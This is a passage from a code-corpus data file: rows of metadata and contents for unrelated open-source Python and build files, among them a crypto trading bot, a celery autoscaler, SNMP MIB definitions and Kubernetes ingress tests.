from apric... | 40.711111 | 76 | 0.562955 |
3d8ce35a772bc2cf07a117f030588c75f13ae519 | 5,083 | py | Python | cp4/nft.py | thomas-franceschi/theory-project-pied-piper | a55ea764e8f0624f1f085ee589a7688be33eb892 | [
"MIT"
] | null | null | null | cp4/nft.py | thomas-franceschi/theory-project-pied-piper | a55ea764e8f0624f1f085ee589a7688be33eb892 | [
"MIT"
] | null | null | null | cp4/nft.py | thomas-franceschi/theory-project-pied-piper | a55ea764e8f0624f1f085ee589a7688be33eb892 | [
"MIT"
] | null | null | null | from __future__ import print_function
import collections
def strip_comments(file):
"""Remove comments. Everything from // to the end of the line is
considered a comment."""
for line in file:
try:
i = line.index("//")
line = line[:i]
except ValueError:
pas... | 33.662252 | 79 | 0.531969 |
7abd25c628276de8c16b9db594c5fc4293100a32 | 1,983 | py | Python | test/test_equipment_shared_io_module_ref.py | sdnit-se/intersight-python | 551f7685c0f76bb8af60ec83ffb6f9672d49a4ae | [
"Apache-2.0"
] | 21 | 2018-03-29T14:20:35.000Z | 2021-10-13T05:11:41.000Z | test/test_equipment_shared_io_module_ref.py | sdnit-se/intersight-python | 551f7685c0f76bb8af60ec83ffb6f9672d49a4ae | [
"Apache-2.0"
] | 14 | 2018-01-30T15:45:46.000Z | 2022-02-23T14:23:21.000Z | test/test_equipment_shared_io_module_ref.py | sdnit-se/intersight-python | 551f7685c0f76bb8af60ec83ffb6f9672d49a4ae | [
"Apache-2.0"
] | 18 | 2018-01-03T15:09:56.000Z | 2021-07-16T02:21:54.000Z | # coding: utf-8
"""
Cisco Intersight
Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environmen... | 52.184211 | 1,052 | 0.787695 |
ccb461d21492ff537b91c0014522db556d24ea4b | 2,079 | py | Python | Lib/site-packages/hackedit/vendor/qcrash/_dialogs/review.py | fochoao/cpython | 3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9 | [
"bzip2-1.0.6",
"0BSD"
] | 30 | 2016-02-07T20:23:29.000Z | 2022-02-23T08:44:25.000Z | Lib/site-packages/hackedit/vendor/qcrash/_dialogs/review.py | fochoao/cpython | 3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9 | [
"bzip2-1.0.6",
"0BSD"
] | 20 | 2021-05-03T18:02:23.000Z | 2022-03-12T12:01:04.000Z | Lib/site-packages/hackedit/vendor/qcrash/_dialogs/review.py | fochoao/cpython | 3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9 | [
"bzip2-1.0.6",
"0BSD"
] | 5 | 2017-12-26T03:36:50.000Z | 2020-12-10T07:09:14.000Z | """
This module contains the review dialog.
"""
from qcrash.qt import QtCore, QtGui, QtWidgets
from qcrash._forms import dlg_review_ui
class DlgReview(QtWidgets.QDialog):
"""
Dialog for reviewing the final report.
"""
def __init__(self, content, log, parent, window_icon):
"""
:param co... | 35.237288 | 88 | 0.623377 |
c69609583fc057f8425c08dff4fd056557e8cd27 | 3,640 | py | Python | src/tools/docmaker/utils.py | hsmith/freetype | a1d3c0c8522cb703b5bdc6b3bff13d27819ef1ec | [
"FTL"
] | null | null | null | src/tools/docmaker/utils.py | hsmith/freetype | a1d3c0c8522cb703b5bdc6b3bff13d27819ef1ec | [
"FTL"
] | null | null | null | src/tools/docmaker/utils.py | hsmith/freetype | a1d3c0c8522cb703b5bdc6b3bff13d27819ef1ec | [
"FTL"
] | null | null | null | #
# utils.py
#
# Auxiliary functions for the `docmaker' tool (library file).
#
# Copyright 2002-2016 by
# David Turner.
#
# This file is part of the FreeType project, and may only be used,
# modified, and distributed under the terms of the FreeType project
# license, LICENSE.TXT. By continuing to us... | 28.4375 | 76 | 0.609341 |
a9d66431865481d1e6ad001911f47523ebed8a20 | 1,503 | py | Python | Chapter 2/Code/CurrentWeather.py | professor-li/book-dow-iot-projects | 5b2b16459298a6503b87c17ac550e635299aa945 | [
"MIT"
] | 17 | 2018-05-26T13:00:57.000Z | 2021-11-11T09:07:18.000Z | Chapter 2/Code/CurrentWeather.py | professor-li/book-dow-iot-projects | 5b2b16459298a6503b87c17ac550e635299aa945 | [
"MIT"
] | null | null | null | Chapter 2/Code/CurrentWeather.py | professor-li/book-dow-iot-projects | 5b2b16459298a6503b87c17ac550e635299aa945 | [
"MIT"
] | 16 | 2018-05-14T09:04:41.000Z | 2021-11-11T09:07:22.000Z | class CurrentWeather:
weather_data={
'Toronto':['13','partly sunny','8 km/h NW'],
'Montreal':['16','mostly sunny','22 km/h W'],
'Vancouver':['18','thunder showers','10 km/h NE'],
'New York':['17','mostly cloudy','5 km/h SE'],
'Los Angeles':['28','sunny','4 km/h SW'],
... | 31.978723 | 70 | 0.575516 |
20edc8d26ce51ade1716d76add7bb7ecad15daed | 502 | py | Python | fixtures/models/login.py | spoon03/moodle_ui_test | 550bc52fa69d32a9d377df0378f46430e8692c59 | [
"Apache-2.0"
] | null | null | null | fixtures/models/login.py | spoon03/moodle_ui_test | 550bc52fa69d32a9d377df0378f46430e8692c59 | [
"Apache-2.0"
] | null | null | null | fixtures/models/login.py | spoon03/moodle_ui_test | 550bc52fa69d32a9d377df0378f46430e8692c59 | [
"Apache-2.0"
] | null | null | null | from __future__ import annotations
from faker import Faker
fake = Faker("Ru-ru")
class LoginData:
"""Методы для страницы логина."""
def __init__(self, login=None, password=None):
self.login = login
self.password = password
@staticmethod
def random() -> LoginData:
"""
... | 22.818182 | 56 | 0.615538 |
8b0c8ac2f300406acee508e986a72810121d3088 | 1,571 | py | Python | python3/icecreamstand.py | eiadshahtout/Python | b2406b0806bc55a9d8f5482a304a8d6968249018 | [
"MIT"
] | null | null | null | python3/icecreamstand.py | eiadshahtout/Python | b2406b0806bc55a9d8f5482a304a8d6968249018 | [
"MIT"
] | null | null | null | python3/icecreamstand.py | eiadshahtout/Python | b2406b0806bc55a9d8f5482a304a8d6968249018 | [
"MIT"
] | null | null | null | class Restaurant():
"""A class representing a restaurant."""
def __init__(self, name, cuisine_type):
"""Initialize the restaurant."""
self.name = name.title()
self.cuisine_type = cuisine_type
self.number_served = 0
def describe_restaurant(self):
"""Display a summary... | 32.729167 | 78 | 0.638447 |
640ab6cfa03b4a086b8d72a3f2a4a04117ce4403 | 4,729 | py | Python | tests/test_furiganalyse.py | itsupera/furiganalyse | dac39bc1de2795b2c9b52c3e8678c3875bc5d9d0 | [
"MIT"
] | 1 | 2022-01-19T16:45:23.000Z | 2022-01-19T16:45:23.000Z | tests/test_furiganalyse.py | itsupera/furiganalyse | dac39bc1de2795b2c9b52c3e8678c3875bc5d9d0 | [
"MIT"
] | null | null | null | tests/test_furiganalyse.py | itsupera/furiganalyse | dac39bc1de2795b2c9b52c3e8678c3875bc5d9d0 | [
"MIT"
] | null | null | null | import xml.etree.ElementTree as ET
import pytest
from furiganalyse.parsing import process_tree
@pytest.mark.parametrize(
("test_case", "xml_str", "mode", "expected_xml_str"),
[
(
"Remove furigana",
'<body>はじめに、<ruby>第一<rt>ファースト</rt></ruby>歩。<ruby>終<rt>おわり</rt></ruby></body>',... | 36.658915 | 261 | 0.472827 |
9d87b063e4cdde167fef43cbeef6a33df51e183b | 1,505 | py | Python | src/keyboard-manager/core.py | danielcieslinski/milkeyways | 14e13bf145853724a1f162ed44076b3e6efef19e | [
"Apache-2.0"
] | 1 | 2021-01-26T09:37:36.000Z | 2021-01-26T09:37:36.000Z | src/keyboard-manager/core.py | danielcieslinski/milkeyways | 14e13bf145853724a1f162ed44076b3e6efef19e | [
"Apache-2.0"
] | 1 | 2021-02-23T12:31:35.000Z | 2021-02-23T12:31:35.000Z | src/keyboard-manager/core.py | danielcieslinski/milkeyways | 14e13bf145853724a1f162ed44076b3e6efef19e | [
"Apache-2.0"
] | null | null | null | # from keyboard import key_to_scan_codes
#TODO xmodmap bindings includding modifiers
from functools import partial
import subprocess
from os import system
from pyudev.wx import MonitorObserver
GLOBAL = 0
keyscanmap = {'a': 38, 'b': 56}
class KeyMapping:
from_key: str
target_key: str
def __init__(self, ... | 22.462687 | 95 | 0.615947 |
baf01d521e4f4c8db116313139dbb6930796ebae | 2,856 | py | Python | setup.py | rupanshi-chawda/jupyterlab-nm-theme | eb60ba684c3f0d68a8f1705c10e243470c56771b | [
"BSD-3-Clause"
] | null | null | null | setup.py | rupanshi-chawda/jupyterlab-nm-theme | eb60ba684c3f0d68a8f1705c10e243470c56771b | [
"BSD-3-Clause"
] | null | null | null | setup.py | rupanshi-chawda/jupyterlab-nm-theme | eb60ba684c3f0d68a8f1705c10e243470c56771b | [
"BSD-3-Clause"
] | null | null | null | """
jupyterlab-nm-theme setup
"""
import json
import sys
from pathlib import Path
import setuptools
HERE = Path(__file__).parent.resolve()
# Get the package info from package.json
pkg_json = json.loads((HERE / "package.json").read_bytes())
# The name of the project
name = "jupyterlab-nm-theme"
lab_path = (HERE / p... | 30.063158 | 104 | 0.658263 |
2873edbf5e8065274bd1ab098086ade30e121357 | 8,785 | py | Python | trading-bot/main.py | cryptometa708/trading | 0d190751646ccda1f2243073f02d0884e79dee66 | [
"MIT"
] | 14 | 2022-03-18T15:53:58.000Z | 2022-03-25T12:32:08.000Z | trading-bot/main.py | MrBakali/trading | 0d190751646ccda1f2243073f02d0884e79dee66 | [
"MIT"
] | 1 | 2021-09-25T16:30:39.000Z | 2021-09-26T23:11:31.000Z | trading-bot/main.py | MrBakali/trading | 0d190751646ccda1f2243073f02d0884e79dee66 | [
"MIT"
] | 1 | 2022-01-20T12:13:32.000Z | 2022-01-20T12:13:32.000Z | import ccxt
import config
import schedule
import pandas as pd
import numbers
pd.set_option('display.max_rows', None)
import warnings
warnings.filterwarnings('ignore')
from datetime import datetime
import time
from stockstats import StockDataFrame as Sdf
# how much quote currency example [DOGE] you want to spend on... | 36.604167 | 120 | 0.615367 |
80e254de0cfbdf8c1d00212a7e82e6c00719e06f | 873 | py | Python | var/spack/repos/builtin/packages/r-visnetwork/package.py | whitfin/spack | aabd2be31a511d0e00c1017f7311a421659319d9 | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 3 | 2019-06-27T13:26:50.000Z | 2019-07-01T16:24:54.000Z | var/spack/repos/builtin/packages/r-visnetwork/package.py | openbiox/spack | bb6ec7fb40c14b37e094a860e3625af53f633174 | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 75 | 2016-07-27T11:43:00.000Z | 2020-12-08T15:56:53.000Z | var/spack/repos/builtin/packages/r-visnetwork/package.py | openbiox/spack | bb6ec7fb40c14b37e094a860e3625af53f633174 | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 8 | 2015-10-16T13:51:49.000Z | 2021-10-18T13:58:03.000Z | # Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class RVisnetwork(RPackage):
"""Provides an R interface to the 'vis.js' JavaScript charting libr... | 37.956522 | 79 | 0.703322 |
3439f83ecef8bc3a5221564a3c4741e606f7a57a | 6,992 | py | Python | packages/python/plotly/plotly/graph_objs/funnel/connector/_line.py | labaran1/plotly.py | 7ec751e8fed4a570c11ea4bea2231806389d62eb | [
"MIT"
] | null | null | null | packages/python/plotly/plotly/graph_objs/funnel/connector/_line.py | labaran1/plotly.py | 7ec751e8fed4a570c11ea4bea2231806389d62eb | [
"MIT"
] | null | null | null | packages/python/plotly/plotly/graph_objs/funnel/connector/_line.py | labaran1/plotly.py | 7ec751e8fed4a570c11ea4bea2231806389d62eb | [
"MIT"
] | null | null | null | from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType
import copy as _copy
class Line(_BaseTraceHierarchyType):
# class properties
# --------------------
_parent_path_str = "funnel.connector"
_path_str = "funnel.connector.line"
_valid_props = {"color", "dash", "width"... | 33.777778 | 82 | 0.535898 |
d06816a9db6ef965f6aa4f5791580745a64f4171 | 53,786 | py | Python | pysnmp-with-texts/Zhone-VOICE-ANALOG-IF-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/Zhone-VOICE-ANALOG-IF-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/Zhone-VOICE-ANALOG-IF-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module Zhone-VOICE-ANALOG-IF-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Zhone-VOICE-ANALOG-IF-MIB
# Produced by pysmi-0.3.4 at Wed May 1 15:52:28 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.... | 186.756944 | 4,522 | 0.783773 |
84d3becf658cef2d01c5c865af4daf00bf09b779 | 4,389 | py | Python | engine/SCons/Tool/msgfmt.py | unix1986/scons | 2137aa513182619fe50fcb89a248aafbfacf5653 | [
"MIT"
] | 9 | 2016-05-10T01:51:28.000Z | 2022-03-18T10:14:32.000Z | engine/SCons/Tool/msgfmt.py | unix1986/scons | 2137aa513182619fe50fcb89a248aafbfacf5653 | [
"MIT"
] | 1 | 2016-05-10T17:00:54.000Z | 2016-05-10T19:33:11.000Z | engine/SCons/Tool/msgfmt.py | unix1986/scons | 2137aa513182619fe50fcb89a248aafbfacf5653 | [
"MIT"
] | 3 | 2015-05-15T19:54:57.000Z | 2021-04-12T15:25:56.000Z | """ msgfmt tool """
# Copyright (c) 2001 - 2014 The SCons Foundation
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use,... | 40.266055 | 77 | 0.61039 |
56b34c6f2087e4c8b73c29d61e9341467c992b3b | 721 | bzl | Python | third_party/net_bytebuddy.bzl | wix/exodus | dfb0c9713b07a8b6a49b548b7b543021e748d80b | [
"MIT"
] | 186 | 2019-06-05T01:02:53.000Z | 2022-03-31T10:44:19.000Z | third_party/net_bytebuddy.bzl | wix/exodus | dfb0c9713b07a8b6a49b548b7b543021e748d80b | [
"MIT"
] | 25 | 2019-06-04T23:18:55.000Z | 2021-09-22T03:44:25.000Z | third_party/net_bytebuddy.bzl | wix/exodus | dfb0c9713b07a8b6a49b548b7b543021e748d80b | [
"MIT"
] | 17 | 2019-06-04T18:45:19.000Z | 2022-01-20T09:40:04.000Z | load("//:import_external.bzl", import_external = "safe_wix_scala_maven_import_external")
def dependencies():
import_external(
name = "net_bytebuddy_byte_buddy",
artifact = "net.bytebuddy:byte-buddy:1.8.15",
artifact_sha256 = "af32e420b1252c1eedef6232bd46fadafc02e0c609e086efd57a64781107a039",
... | 37.947368 | 91 | 0.78086 |
8dcb8043254041c3386b6c88079728ebcba592d2 | 316 | py | Python | faker/providers/currency/fr_CA/__init__.py | mgorny/faker | b1176e01bf4d7f1aef408a4bb96a9e46188cc113 | [
"MIT"
] | 12,077 | 2015-01-01T18:30:07.000Z | 2022-03-31T23:22:01.000Z | faker/providers/currency/fr_CA/__init__.py | mgorny/faker | b1176e01bf4d7f1aef408a4bb96a9e46188cc113 | [
"MIT"
] | 1,306 | 2015-01-03T05:18:55.000Z | 2022-03-31T02:43:04.000Z | faker/providers/currency/fr_CA/__init__.py | mgorny/faker | b1176e01bf4d7f1aef408a4bb96a9e46188cc113 | [
"MIT"
] | 1,855 | 2015-01-08T14:20:10.000Z | 2022-03-25T17:23:32.000Z | from .. import Provider as CurrencyProvider
class Provider(CurrencyProvider):
price_formats = ["#,##", "%#,##", "%##,##", "%.###,##", "%#.###,##"]
def pricetag(self) -> str:
return (
self.numerify(self.random_element(self.price_formats))
+ "\N{no-break space}$"
)
| 24.307692 | 72 | 0.512658 |
ac07a6587842b386c7260ef75b4fd04acf7b7d1b | 2,644 | py | Python | sub_dir/app.py | DrewRust/Twitoff2 | 3740e2800615074d5560f5046c0105d989d34cd7 | [
"MIT"
] | null | null | null | sub_dir/app.py | DrewRust/Twitoff2 | 3740e2800615074d5560f5046c0105d989d34cd7 | [
"MIT"
] | null | null | null | sub_dir/app.py | DrewRust/Twitoff2 | 3740e2800615074d5560f5046c0105d989d34cd7 | [
"MIT"
] | null | null | null | #### ---> runs the app in the terminal:
#### FLASK_APP=twitoff_sub_dir:APP flask run
#### running flask shell will give you an interactive python environment
#### ---> how to interact with your database
#### FLASK_APP=twitoff_sub_dir:APP flask shell
#### creates an interactive shell
#### ---> then type: dir()
#### ---... | 38.318841 | 112 | 0.638805 |
5c74c691d6193da6ec1a0af8cccf4865c4fc4b0e | 4,851 | py | Python | utils/blivex.py | liu246542/push2live | 996d0bd71028ce1b2c97e896106cab9064fdf64e | [
"MIT"
] | null | null | null | utils/blivex.py | liu246542/push2live | 996d0bd71028ce1b2c97e896106cab9064fdf64e | [
"MIT"
] | null | null | null | utils/blivex.py | liu246542/push2live | 996d0bd71028ce1b2c97e896106cab9064fdf64e | [
"MIT"
] | null | null | null | #!/usr/bin/env python3.7
# -*- coding: utf-8 -*-
import requests
import time
class Bilibili:
def __init__(self):
self._session = requests.Session()
self.get_cookies = lambda: self._session.cookies.get_dict(domain=".bilibili.com")
self.get_uid = lambda: self.get_cookies().get("DedeUserID", ... | 42.552632 | 250 | 0.5537 |
fc71cbfb64a991b1f6ad593db3e2349014f254fd | 15,143 | py | Python | famli/run_famli.py | apaytuvi/FAMLI | b95f4e3b2be1d46b85d063f8d67f84e23377d73b | [
"MIT"
] | null | null | null | famli/run_famli.py | apaytuvi/FAMLI | b95f4e3b2be1d46b85d063f8d67f84e23377d73b | [
"MIT"
] | null | null | null | famli/run_famli.py | apaytuvi/FAMLI | b95f4e3b2be1d46b85d063f8d67f84e23377d73b | [
"MIT"
] | null | null | null | #!/usr/bin/python
"""Wrapper script to run FAMLI on one or more FASTQ files."""
import os
import sys
import uuid
import time
import gzip
import json
import shutil
import logging
import argparse
from famli.exec_helpers import run_cmds
from famli.exec_helpers import align_reads
from famli.exec_helpers import return_resu... | 38.531807 | 95 | 0.517929 |
0a488a211b9e9f8e712cdf4b58f9a18bce9b0e52 | 1,611 | py | Python | dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unsafe/eh.py | BadDevCode/lumberyard | 3d688932f919dbf5821f0cb8a210ce24abe39e9e | [
"AML"
] | 1,738 | 2017-09-21T10:59:12.000Z | 2022-03-31T21:05:46.000Z | dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unsafe/eh.py | olivier-be/lumberyard | 3d688932f919dbf5821f0cb8a210ce24abe39e9e | [
"AML"
] | 427 | 2017-09-29T22:54:36.000Z | 2022-02-15T19:26:50.000Z | dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unsafe/eh.py | olivier-be/lumberyard | 3d688932f919dbf5821f0cb8a210ce24abe39e9e | [
"AML"
] | 671 | 2017-09-21T08:04:01.000Z | 2022-03-29T14:30:07.000Z | """
Exception handling intrinsics.
"""
from numba import types, cgutils, errors
from numba.extending import intrinsic
@intrinsic
def exception_check(typingctx):
"""An intrinsic to check if an exception is raised
"""
def codegen(context, builder, signature, args):
nrt = context.nrt
return ... | 25.571429 | 79 | 0.67784 |
b2addcce044962484ce677134950ac4027085fb2 | 12,587 | gyp | Python | deps/libgdal/libgdal.gyp | seraph144/node-gdal | c6987705ced2b4eba8be123ececa40be80e56694 | [
"Apache-2.0"
] | null | null | null | deps/libgdal/libgdal.gyp | seraph144/node-gdal | c6987705ced2b4eba8be123ececa40be80e56694 | [
"Apache-2.0"
] | null | null | null | deps/libgdal/libgdal.gyp | seraph144/node-gdal | c6987705ced2b4eba8be123ececa40be80e56694 | [
"Apache-2.0"
] | null | null | null | {
"includes": [
"./common.gypi",
"./libgdal_formats.gypi"
],
"targets": [
{
"target_name": "libgdal",
"type": "static_library",
"sources": [
"gdal/apps/gdal_translate_lib.cpp",
"gdal/apps/ogr2ogr_lib.cpp",
"gdal/apps/gdalbuildvrt_lib.cpp",
"gdal/apps/commonutils.cpp",
"gdal/frmts/g... | 33.476064 | 62 | 0.671486 |
a44d3ad2edf4f992e2f1918ad4f14d9cb424d432 | 6,917 | py | Python | main.py | Georege/python_strings_handler | 3211bab8ea7123be4167d61b372c0df3605f93d0 | [
"MIT"
] | null | null | null | main.py | Georege/python_strings_handler | 3211bab8ea7123be4167d61b372c0df3605f93d0 | [
"MIT"
] | null | null | null | main.py | Georege/python_strings_handler | 3211bab8ea7123be4167d61b372c0df3605f93d0 | [
"MIT"
] | null | null | null | import base64
from tkinter import *
from tkinter import messagebox
from urllib.parse import urlencode, parse_qs, parse_qsl
import json
# 查看字符串长度
def getlen():
source = source_input.get('0.0', 'end-1c')
if source:
output = len(source)
# print('output type is :{}'.format(type(output)))
... | 33.095694 | 93 | 0.595345 |
38f4c85dbf406604a5b60fbfd8f56cb7a54d4db6 | 6,962 | py | Python | tests/suite/test_externalname_service.py | snebel29/kubernetes-ingress | a31cd87288fa102ef9f094da7ecd371e9b36c680 | [
"Apache-2.0"
] | 1 | 2021-11-07T18:54:51.000Z | 2021-11-07T18:54:51.000Z | tests/suite/test_externalname_service.py | snebel29/kubernetes-ingress | a31cd87288fa102ef9f094da7ecd371e9b36c680 | [
"Apache-2.0"
] | 123 | 2021-09-06T19:21:23.000Z | 2022-03-31T05:22:42.000Z | tests/suite/test_externalname_service.py | snebel29/kubernetes-ingress | a31cd87288fa102ef9f094da7ecd371e9b36c680 | [
"Apache-2.0"
] | null | null | null | import requests
import pytest
from settings import TEST_DATA
from suite.fixtures import PublicEndpoint
from suite.resources_utils import create_ingress_from_yaml, create_service_with_name, \
create_namespace_with_name_from_yaml, create_deployment_with_name, delete_namespace, ensure_response_from_backend
from suite... | 59.504274 | 119 | 0.654984 |
7f986ac05901fa9ae21da24fca58fd455d3ee02f | 563 | py | Python | varvar/__init__.py | drorspei/varvar | 1f7daf6d82cdfdce396f9eb81b54a5f470411641 | [
"MIT"
] | null | null | null | varvar/__init__.py | drorspei/varvar | 1f7daf6d82cdfdce396f9eb81b54a5f470411641 | [
"MIT"
] | null | null | null | varvar/__init__.py | drorspei/varvar | 1f7daf6d82cdfdce396f9eb81b54a5f470411641 | [
"MIT"
] | null | null | null | import threading
def htrain(*args, **kwargs):
from varvar.htrees import multiplicative_variance_trees as _htrain
return _htrain(*args, **kwargs)
def qtrain(*args, **kwargs):
from varvar.qtrees import multiplicative_variance_trees as _qtrain
return _qtrain(*args, **kwargs)
def predict(*args, **kwargs... | 24.478261 | 70 | 0.737123 |
98beeda8c7af38c0e928ee2a3dd0522d19a67bcd | 156 | py | Python | src/vone/admin.py | SerhatTeker/django-rest-todo | 5934ba552a95d3960f9344fde6c2586017774403 | [
"BSD-3-Clause"
] | 1 | 2021-06-28T14:59:35.000Z | 2021-06-28T14:59:35.000Z | src/vone/admin.py | SerhatTeker/django-rest-todo | 5934ba552a95d3960f9344fde6c2586017774403 | [
"BSD-3-Clause"
] | 1 | 2022-01-21T20:02:37.000Z | 2022-01-21T20:02:37.000Z | src/vone/admin.py | SerhatTeker/django-rest-todo | 5934ba552a95d3960f9344fde6c2586017774403 | [
"BSD-3-Clause"
] | null | null | null | from django.contrib import admin
from .models import Category, Tag, Task
admin.site.register(Tag)
admin.site.register(Category)
admin.site.register(Task)
| 19.5 | 39 | 0.801282 |
f04b8bc94d9bf1c72b0d339620fbed170a4bb947 | 2,160 | py | Python | data/single_item_dataset.py | Finomnis/pytorch-CycleGAN-and-pix2pix | a10b70da7e366bde9012311f3f8a1c4dc14d922d | [
"BSD-3-Clause"
] | null | null | null | data/single_item_dataset.py | Finomnis/pytorch-CycleGAN-and-pix2pix | a10b70da7e366bde9012311f3f8a1c4dc14d922d | [
"BSD-3-Clause"
] | null | null | null | data/single_item_dataset.py | Finomnis/pytorch-CycleGAN-and-pix2pix | a10b70da7e366bde9012311f3f8a1c4dc14d922d | [
"BSD-3-Clause"
] | null | null | null | import os.path
from data.base_dataset import BaseDataset, get_params, get_transform
from data.image_folder import make_dataset
from PIL import Image
class SingleItemDataset(BaseDataset):
"""A dataset class for a single image.
"""
def __init__(self, opt, imgIn, imgOut=None):
"""Initialize this dat... | 37.894737 | 125 | 0.6375 |
5175a761f704421f8f761a3e177f7f0eebe8ebea | 1,505 | py | Python | tests/system/data_sources/deploy_cloudsql/gcloud_context.py | ajw0100/professional-services-data-validator | b1dc82adf92adf19702f5ef41590c62c7c128c74 | [
"Apache-2.0"
] | 167 | 2021-05-27T19:43:43.000Z | 2022-03-16T02:42:30.000Z | tests/system/data_sources/deploy_cloudsql/gcloud_context.py | ajw0100/professional-services-data-validator | b1dc82adf92adf19702f5ef41590c62c7c128c74 | [
"Apache-2.0"
] | 110 | 2021-05-27T14:49:09.000Z | 2022-03-31T11:10:41.000Z | tests/system/data_sources/deploy_cloudsql/gcloud_context.py | ajw0100/professional-services-data-validator | b1dc82adf92adf19702f5ef41590c62c7c128c74 | [
"Apache-2.0"
] | 32 | 2021-06-23T22:00:59.000Z | 2022-03-30T03:32:20.000Z | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 35 | 88 | 0.686379 |
188a94cea521cb01f861cbddba827713ab486a03 | 2,505 | py | Python | celery/worker/autoscale.py | frac/celery | b6b32ca9a951e81722c52412c3f8a1cff67109dd | [
"BSD-3-Clause"
] | 1 | 2015-11-05T02:49:59.000Z | 2015-11-05T02:49:59.000Z | celery/worker/autoscale.py | frac/celery | b6b32ca9a951e81722c52412c3f8a1cff67109dd | [
"BSD-3-Clause"
] | null | null | null | celery/worker/autoscale.py | frac/celery | b6b32ca9a951e81722c52412c3f8a1cff67109dd | [
"BSD-3-Clause"
] | null | null | null | import os
import sys
import threading
import traceback
from time import sleep, time
from celery.worker import state
class Autoscaler(threading.Thread):
def __init__(self, pool, max_concurrency, min_concurrency=0,
keepalive=30, logger=None):
threading.Thread.__init__(self)
self.pool ... | 30.925926 | 78 | 0.57006 |
3382bf834e7b411a060a6f6b1f352083713ece9b | 2,093 | py | Python | binject/gdb.py | torpedro/binject.py | 9652b48aeb2663c49b3ec154d9186c9c6cac89cf | [
"MIT"
] | 1 | 2016-02-17T22:01:01.000Z | 2016-02-17T22:01:01.000Z | binject/gdb.py | torpedro/binject.py | 9652b48aeb2663c49b3ec154d9186c9c6cac89cf | [
"MIT"
] | null | null | null | binject/gdb.py | torpedro/binject.py | 9652b48aeb2663c49b3ec154d9186c9c6cac89cf | [
"MIT"
] | null | null | null |
from time import sleep
from subprocess import Popen, PIPE, STDOUT
from threading import Thread
from edit import AbstractByteEditor
def logStdoutThread(p, gdb):
for c in iter(lambda: p.stdout.read(1), ''):
gdb.onStdout(c)
class GDBWrapper(AbstractByteEditor):
"""docstring for GDBWrapper"""... | 24.623529 | 92 | 0.547062 |
90a78b912a5f23dbfc8a9c4efeee839a21a843e4 | 73 | py | Python | test.py | charisschomba/Password-Generator | 9f4bcee5f008ca98c91f9722630bc9b120e0ecd2 | [
"MIT"
] | null | null | null | test.py | charisschomba/Password-Generator | 9f4bcee5f008ca98c91f9722630bc9b120e0ecd2 | [
"MIT"
] | null | null | null | test.py | charisschomba/Password-Generator | 9f4bcee5f008ca98c91f9722630bc9b120e0ecd2 | [
"MIT"
] | null | null | null | from password_generator import password_generator
password_generator(20) | 24.333333 | 49 | 0.90411 |
0587045a70a089d0e2fb0c2508b2623eba5fd3c0 | 3,700 | py | Python | automow_maps/scripts/field_publisher.py | Auburn-Automow/au_automow_common | 920be6a740aa6d738e9954417b41490e353efd04 | [
"BSD-3-Clause"
] | 43 | 2016-03-05T17:06:29.000Z | 2022-03-10T08:50:46.000Z | automow_maps/scripts/field_publisher.py | qintxwd/au_automow_common | 920be6a740aa6d738e9954417b41490e353efd04 | [
"BSD-3-Clause"
] | 2 | 2017-07-10T12:43:49.000Z | 2019-03-13T13:57:31.000Z | automow_maps/scripts/field_publisher.py | qintxwd/au_automow_common | 920be6a740aa6d738e9954417b41490e353efd04 | [
"BSD-3-Clause"
] | 22 | 2016-03-23T06:10:52.000Z | 2022-03-10T08:50:49.000Z | #!/usr/bin/env python
"""
This ROS node takes the field survey file and publishes a
field polygon as a geometry_msgs/PolygonStamped for use in
other nodes and for visualization in rviz.
"""
import roslib; roslib.load_manifest('automow_maps')
import rospy
from geometry_msgs.msg import PolygonStamped, Point32, Polygo... | 37 | 85 | 0.605405 |
a95ab201c298bf9c8eb8497f2f7d6fcc6aab2b40 | 15,079 | py | Python | meta_augmentation/pose_regression/np_vanilla.py | gunpowder78/google-research | d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5 | [
"Apache-2.0"
] | 1 | 2022-03-19T04:26:12.000Z | 2022-03-19T04:26:12.000Z | meta_augmentation/pose_regression/np_vanilla.py | gunpowder78/google-research | d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5 | [
"Apache-2.0"
] | null | null | null | meta_augmentation/pose_regression/np_vanilla.py | gunpowder78/google-research | d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5 | [
"Apache-2.0"
